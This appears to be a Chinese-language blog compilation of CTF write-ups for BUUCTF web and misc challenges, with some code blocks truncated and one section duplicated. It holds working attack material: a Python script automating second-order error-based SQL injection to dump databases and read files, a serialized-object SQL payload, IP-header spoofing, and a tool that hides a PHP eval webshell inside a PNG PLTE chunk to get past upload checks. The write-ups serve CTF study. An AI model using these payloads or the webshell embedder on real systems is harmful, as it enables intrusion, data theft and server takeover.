[BSidesCF 2019]SVGMagic
只有一个上传图像的点,查看源码也无异常信息
查阅资料得知svg是一段由html标签语言描述的矢量图形,ctf中由svg可能引发的漏洞有xss,XXE。
上传以下payload即可
1 | <?xml version="1.0" encoding="UTF-8"?> |
只有一个上传图像的点,查看源码也无异常信息
查阅资料得知svg是一段由html标签语言描述的矢量图形,ctf中由svg可能引发的漏洞有xss,XXE。
上传以下payload即可
1 | <?xml version="1.0" encoding="UTF-8"?> |
1.首先注意到框架Copyright © 2017.Powered by Albertchang
2.梳理应用功能
admin\admin
登录发现返回了sql查询语句1 | select * from `albert_users` where `username_which_you_do_not_know`= 'admin' and `password_which_you_do_not_know_too` = '21232f297a57a5a743894a0e4a801fc3' |
首先想到sql注入
发现输入'
会被转义,输入"
会提示no hacking,如果是sql注入的话需要fuzz一下哪些字符可用,哪些字符被waf拦截。
同时扫描目录
发现/.viminfo
,看看是否存在源码泄露
1 | vim updateadmin.php |
查看是否存在这三个文件
访问/updateadmin.php
和info.php
,提示you can not visit it directly
.
还发现有/register.php
,可见可以注册用户。
注册并登录后发现一个博客页面,再试试上面的/updateadmin.php
和info.php
,还是不行
先尝试注入
发现拦截了!#$%^||&\;:".~/?
和/**/
,转义了'
.通过单引号闭合不可能了,堆叠注入也不可能,宽字节注入也未成功。既然题目提示和cms有关,再看一下框架。
在登录成功后页面会先访问/user.php?page=info
再302跳转到/user.php?page=guest
在/user.php?page=info
中提示<!--hint: ffffllllaaaaggg.php-->
,直接访问也会提示you can not visit it directly
.
看来需要使用特殊身份访问。
/user.php?page=
经测试发现文件包含。
直接访问/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
会被hacker.php拦截。获取源码来绕过。
user.php
1 | <?php |
index.php
1 | <?php |
function.php
1 | <?php |
login.php
1 | <?php |
register.php
1 | <?php |
config.php
1 | <?php |
hacker.php
1 | <?php |
updateadmin.php
1 | <?php |
info.php
1 | <?php |
经过思考感觉从sql注入是无法入手的,看了一下wp,发现是parse_url()
的问题。
https://www.dazhuanlan.com/vickycheng823/topics/1089651
构造
1 | //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg |
ffffllllaaaaggg.php
1 | <?php |
构造
1 | /user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee |
m4aaannngggeee.php
1 | <?php |
转而直接访问m4aaannngggeee.php
看来是个模板测试页面,尝试上传文件
发现跳转至upllloadddd.php,并输出了上传文件的base64编码
看看upllloadddd.php的源码
1 | <?php |
发现程序是调用system()
来执行shell获取base64编码的,且未对filename进行过滤,此处存在命令执行。
梳理程序功能
/uploads
文件夹下theme.php
其他注意点
扫描一下目录并尝试文件上传
都试了一下,看来是不行
看一眼wp发现此题要看题目给出的源码
https://github.com/TeamHarekaze/HarekazeCTF2019-challenges/tree/master/avatar_uploader_1/
1 | // check file type |
upload.php中的finfo_file()
和getimagesize()
分别对传入的图像进行验证。
finfo_file()
只会通过图像前几个字节判断文件类型,getimagesize()
还会读取文件宽高属性
1 | Array |
所以需要删去上传的png图像的宽高数据,只保留前几个字节即可
首先看到梳理应用逻辑
查看图片功能尚未完成,目前只能保存您图片名称的内容。 我希望你能原谅我和我的同事,我正在努力改进。
想尝试找出文件实际保存位置,没找到,再扫一下目录吧
同时尝试上传其他类型文件,发现好像只能上传图像类文件
目录扫描出config.txt
内容只有<h1>This is foot<h2>
结合题目,问题应该不是在文件上传处,再找找
看wp,发现需要找一下系统的源码
在github上搜索wowouploadimage
分析源码
通读代码首先注意到helper.php中
1 | public function upload($input="file") |
存在$array["attr"] = serialize($my_ext);
序列化
但此处的$array["attr"]
为从图像中读取的宽高信息,无法控制。
show.php中对存入数据库的字段进行了读取并反序列化
1 | public function Get_All_Images(){ |
关键点在于helper.php中的check()
,其没有对sql注入进行防护
1 | public function check($info) |
返回数组中的元素在后面的函数中被拼接并插入数据库
其中filename是MD5值,ext是文件后缀,path是/pic/
下的MD5文件名,title是去掉了文件后缀的文件名
只有title是用户直接可控的,且程序在此处未作过滤,后面又将该字段拼接sql语句,存在注入。
结合注入,在反序列化时可传入helper对象,利用helper对象的析构函数实现文件读取。
1 | public function view_files($path){ |
首先定义一个用于传入的helper对象
1 | <?php |
对文件名进行注入
插入的sql语句相当于
1 | INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#','30a5611102e7e6d2.png','png','pic/30a5611102e7e6d2.png','a:2:{s:5:"width";i:32;s:6:"height";i:32;}') |
首先梳理程序功能逻辑
首先想到考察文件上传
程序要求上传符合要求的xml文件,然后解析成用户信息
1 | <?xml version='1.0'?> |
此时判断可能不是文件上传,大概率是XXE
https://www.cnblogs.com/backlion/p/9302528.html
尝试通过外部实体声明读取/flag
直接插入提示被WAF拦截
1 | <!DOCTYPE test [ |
尝试多次,感觉像是禁用了ENTITY
,看看有没有源码
扫描了一下没有发现
再尝试文件上传
也没成功
查看wp https://blog.csdn.net/mochu7777777/article/details/105337784
可以通过utf-16编码绕过WAF
1 | iconv -f utf8 -t utf16 1.xml>2.xml |
题目链接:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
发现存在注释
故尝试文件包含,得到源码
index.php
//这里只把php代码贴出
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
confirm.php
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
可以看到后台对于插入、查找、修改、删除数据时提交的字段做了sql关键词的过滤,但唯独对于插入address字段时没有过滤
可以考虑通过数据污染的方式进行二次注入
即通过插入特殊构造的address,使之在查询或修改此字段时触发非预期sql语句执行
通过分析可以看出当插入恶意address后,当更新订单时会引发sql注入
插入地址为
',user_name=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))#
修改地址
出现报错
为了练习所以写了一个脚本,实际做题时不需要这么麻烦。
import requests
import random
baseUrl = "http://62226166-69f7-4a95-afca-4be78816f7f0.node3.buuoj.cn/"
tmp = str(random.randint(0,0xffffffff))
# 提交订单
def put_order(name, phone, address):
url = baseUrl + "confirm.php"
req = requests.post(url, data={"user_name":name, "phone": phone, "address": address})
if "订单提交成功" in req.text:
return True
else:
print("put_order Error!")
return False
# 删除订单
def delete_order(name, phone):
url = baseUrl + "delete.php"
req = requests.post(url, data={"user_name":name, "phone":phone})
if "订单删除成功" in req.text:
return True
else:
print("Delete Error!")
return False
# 修改订单
def change_order(name, phone, address):
url = baseUrl + "change.php"
req = requests.post(url, data={"user_name":name, "phone":phone, "address":address})
if "errorXPATH syntax error:" in req.text:
return req.text.split('~')[1]
else:
# print("change_order Error!")
return "None"
# 报错注入获取数据库名
def get_database_name():
start = 1
length = 30
database_name = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp) == "None"
res = ("" if res == "None" else res)
database_name += res
start += length
# print(database_name)
delete_order(tmp, tmp)
if len(res) != 30:
return database_name.split(',')
# 报错注入获取表名
def get_table_name(database_name):
start = 1
length = 30
table_name = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='"+ database_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
table_name += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return table_name.split(',')
# 报错注入获取列名
def get_columns(table_name):
start = 1
length = 30
column_name = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='"+ table_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
column_name += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return column_name.split(',')
# 报错注入获取列中所有值
def get_value(database_name, table_name, column_name):
start = 1
length = 30
value = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat("+ column_name +") from "+ database_name +"."+ table_name +"),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
value += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return value.split(',')
# 报错注入读取文件
def get_file(file):
start = 1
length = 30
text = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr(load_file('"+ file +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
text += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return text
if __name__=="__main__":
# information_schema
# ctftraining
# mysql
# performance_schema
# test
# ctfusers
# database = "ctftraining"
# for table in get_table_name(database):
# for column in get_columns(table):
# print(database +"."+ table +"."+ column +":", end='')
# print(get_value(database, table, column))
print(get_file("/flag.txt"))
题目链接:[MRCTF2020]套娃
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
给出了php源码
第一个if考察$_SERVER['QUERY_STRING']
获取的是未经url解码的查询字符串,因此将_
url编码后可绕过。(url编码大小写不敏感)
第二个if考察preg_match()
只能匹配单行字符串,会将换行符后的字符串忽略。
?b%5Fu%5Fp%5Ft=23333%0a
查看网页源码,发现jsfuck编码字符串,输入浏览器执行。提示尝试POST方式提交Merak参数
返回部分源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
猜测getIp()
可能通过X-Forwarder-For
或client-ip
头可以绕过。
在请求头部添加
X-Forwarder-For: 127.0.0.1
client-ip: 127.0.0.1
file_get_contents($_GET['2333']) === 'todat is a happy day' )
可由data:\\
伪协议绕过
secrettw.php?2333=data://text/plain,todat+is+a+happy+day
空格需要url编码
change()
函数将传入的字符串进行base64解码然后进行简单加密。
我们需要传入flag.php
故需要先将flag.php
逐字符进行加密,然后进行base64编码。
python解码脚本
import base64
cstr = "flag.php"
tmp = ""
for i in range(len(cstr)):
ch = chr(ord(cstr[i])- i*2)
tmp += ch
print(base64.b64encode(tmp.encode()))
最终请求参数:
http://6ad8a2e0-f0f7-49c9-8087-ac1021dbe1a2.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D
以下脚本实现了对于nmap端口扫描以-oN保存的扫描结果进行自动web连接尝试的功能。
会自动过滤掉开放超过800个端口以上的ip(可能为蜜罐,或是防火墙设置了特殊的响应规则)
连接超时时间设置为5秒
对同一个端口同时尝试http和https连接
import requests
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
fileList = [“result1.log”, “result2.log”]
basePath = “/root/Downloads/“
ipInfoList = []
ipCount = 0
portCount = 0
for f in fileList:
fObj = open(basePath+f, “r”)
text = fObj.read()
fObj.close()
ipInfoList = text.split(“Nmap scan report for “)[1:]
if len(ipInfoList) != 0:
ipInfoList[len(ipInfoList)-1] = ipInfoList[len(ipInfoList)-1].split(“# Nmap done at “)[0]
for info in ipInfoList:
# print(“has requested %d ip %d port” % (ipCount, portCount), end=”\r”)
ipCount += 1
ip = info.split(“Host is up “)[0].strip()
ports = info.split(“SERVICE”)[1].strip()
portList = ports.split(‘\n’)
if len(portList) < 800:
for p in portList:
if p.find(“open”) != -1:
portCount += 1
port = p.split(“/“)[0]
print(“Connecting %15s:%-5s\tHas tried %d ip %d port.” % (ip, port, ipCount, portCount), end=”\r”)
try:
req = requests.get(“http://“+ ip + “:” + port, timeout=5)
print(“\n”+ ip+”:”+ port)
except:
try:
req = requests.get(“https://“+ ip + “:” + port, verify=False , timeout=5)
print(“\n”+ ip+”:”+ port)
except Exception as e:
print(end=’’)
# print(e)
# finally:
# print(“has requested %d ip %d port” % (ipCount, portCount), end=”\r”)
通过python提取图像的最低有效位组合成图像,发现是二维码。
from PIL import Image
img = Image.open("/root/Downloads/low.bmp")
lsbImg = img.copy()
pix = lsbImg.load()
width = img.width
height = img.height
for w in range(width):
for h in range(height):
if pix[w,h] & 0x01 == 1:
pix[w, h] = 0
else:
pix[w, h] = 255
lsbImg.save("/root/Downloads/_low.bmp")
使用zsteg检测图像,发现存在lsb隐写。使用Stegsolve提取隐藏的压缩文件,解压出一张同样的png图像pen.png
。
之后思路中断,查找答案后得知可以从盲水印方向考虑。
使用BlindWaterMark
提取盲水印
./bwm.py decode apple.png pen.png applepen.png
打开图像发现报CRC32校验错误,判断图像人为修改过高度。
尝试使用脚本爆破正确高度,未果。
import binascii, struct
fObj = open("/root/Downloads/e02c9de40be145dba6baa80ef1d270ba.png", "rb")
png = fObj.read()
fObj.close()
crcOri =int.from_bytes(png[0x1D:0x20],byteorder='big',signed=False)
nowHeight = int.from_bytes(png[0x10:0x14],byteorder='big',signed=False)
maxHeight = 4096
for h in range(nowHeight, maxHeight):
data = png[0xC:0x14] + struct.pack(">i",h) + png[0x18:0x1D]
crcNew = binascii.crc32(data)
if crcNew == crcOri:
print(h)
break
尝试使用tweakpng
手动修改高度,成功看到隐藏信息。
使用binwalk检测图像,发现隐藏rar文件,使用foremost提取。猜测密码即为隐藏信息。成功解压。
解压后分析流量,导出http对象,找到可疑字符串。
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <img src="/kiss.png" /> ZmxhZ3tPel80bmRfSGlyMF9sb3YzX0ZvcjN2ZXJ9 </body> </html>
base64解码,得到flag。
base64->栅栏->凯撒
Stegsolve查看蓝色通道
使用outguess
提取图像中的隐藏信息。
https://github.com/resurrecting-open-source-projects/outguess.git
outguess -r 035bfaa85410429495786d8ea6ecd296.jpg -t hi.txt
初步判断txt文件内为61366行RGB像素值,编写脚本判断图像长宽并绘制图像。
from PIL import Image
fObj = open("/root/Downloads/62f4ea780ecf4e6bbef5f40d674ec073.txt", "r")
pixList = []
for line in fObj.readlines():
line = line[:-1:]
pix = line.split(',')
_pix = []
for p in pix:
_pix.append(int(p))
pixList.append(tuple(_pix))
fObj.close()
length = len(pixList)
width = int(length ** 0.5)
wList = []
hList = []
for w in range(3,width):
if length // w * w == length:
wList.append(w)
hList.append(length // w)
for i in range(len(wList)):
img = Image.new("RGB", (wList[i], hList[i]))
for j in range(wList[i]):
for k in range(hList[i]):
img.putpixel((j,k), pixList[j*hList[i]+k])
img.save("/root/Downloads/" + str(wList[i]) + "*" + str(hList[i]) + ".png")
for i in range(len(hList)):
img = Image.new("RGB", (hList[i], wList[i]))
for j in range(hList[i]):
for k in range(wList[i]):
img.putpixel((j,k), pixList[j*wList[i]+k])
img.save("/root/Downloads/" + str(hList[i]) + "*" + str(wList[i]) + ".png")
其中得到503×122的正确图像。
PIL相关知识链接
1.Python图像处理PIL各模块详细介绍
2.PIL图像处理之Image
发现zip压缩包内的文件名即为解压密码,编写脚本解压。
import zipfile
filePath = "/root/Downloads/zip/"
zipFileName = "/root/Downloads/f932f55b83fa493ab024390071020088.zip"
zipFile = zipfile.ZipFile(zipFileName)
fileName = zipFile.namelist()[0]
zipFile.extractall(filePath, pwd=fileName.split(".")[0].encode())
while fileName != "73168.zip":
zipFileName = filePath + fileName
zipFile = zipfile.ZipFile(zipFileName)
fileName = zipFile.namelist()[0]
print(fileName)
zipFile.extractall(filePath, pwd=fileName.split(".")[0].encode())
解压出1500多个压缩包后,解压报错,发现最新的压缩包内含mess.wav。
尝试爆破该压缩包,发现密码为5位。
用Audacity
分析解压出的mess.wav,频谱图中含有flag。
查阅wp知道,此题目通过将payload隐藏在pyc字节码文件中,且该隐藏方式不会更改pyc文件的运行和大小。
./stegosaurus ~/Downloads/58cadd8d8269455ebc94690fd777c34a.pyc -x
相关资料:
1.一文让你完全弄懂Stegosaurus
2.https://github.com/AngelKitty/stegosaurus.git
查阅wp得知,此题考察曼彻斯特编码与差分曼彻斯特编码。编写脚本尝试解码。
def decode(cipherText):
c = bin(int(cipherText[2:],base=16))
d = ""
i = 2
while i < len(c):
if c[i] != c[i-1]:
d += "0"
else:
d += "1"
i += 2
return int(d, base=2)
cipherText1 = "3EAAAAA56A69AA55A95995A569AA95565556"
cipherText2 = "3EAAAAA56A69AA556A965A5999596AA95656"
print("%0x" % decode(cipherText1))
print("%0x" % decode(cipherText2))
相关资料:
曼切斯特编码和差分曼切斯特编码
不是特别懂
攻防世界———MISC 高手区题解
PLTE
数据区或是IDATA
数据中。PLTE
数据区的PNG图像中。PLTE
数据区"
包围xxx.py -f 1.png -m PLTE -p "<?php @eval($_POST['id']);?>"
#!/bin/python3
import binascii
import re
import sys, getopt
''' GET args '''
args = sys.argv[1:]
try:
opts, args = getopt.getopt(sys.argv[1:],'f:m:p:')
except getopt.GetoptError:
print("Usage: -f file -m PLTE -p \"playload\"")
sys.exit()
file_path = mode = payload = ""
for opt, argv in opts:
if opt == '-f':
file_path = argv
elif opt == '-m':
if argv == 'PLTE' or argv == 'IDAT':
mode = argv
else:
print("Mode ERROR!")
sys.exit()
elif opt == '-p':
payload = argv
if mode == 'PLTE':
''' PLTE payload '''
hex_payload = binascii.b2a_hex(payload.encode())
file_name = file_path.split('/')[-1]
png = open(file_path,'rb')
image = png.read()
png.close()
hexstr = binascii.b2a_hex(image)
searchObj = re.search('504c5445(.*?)49444154', hexstr.decode())
if searchObj:
front_data = image[:searchObj.span()[0]//2]
last_data = image[searchObj.span()[1]//2 - 4:]
plte = '504c5445' + searchObj.group(1)
if len(plte[:-16]) >= len(hex_payload):
_new_plte = plte[:8] + hex_payload.decode() + plte[len(hex_payload) + 8:-16]
''' new PLTE crc '''
crc = binascii.crc32(binascii.a2b_hex(_new_plte)) & 0xffffffff
new_plte = _new_plte + hex(crc)[2:] + plte[-8:]
plte_data = binascii.a2b_hex(new_plte)
new_image_data = front_data + plte_data + last_data
''' new png '''
try:
new_png = open("_"+file_name,'xb')
new_png.write(new_image_data)
new_png.close()
except IOError:
print("_%s already exists." % (file_name))
sys.exit()
else:
print("Playload too long!")
sys.exit()
else:
print("Image doesn't include PLTE.")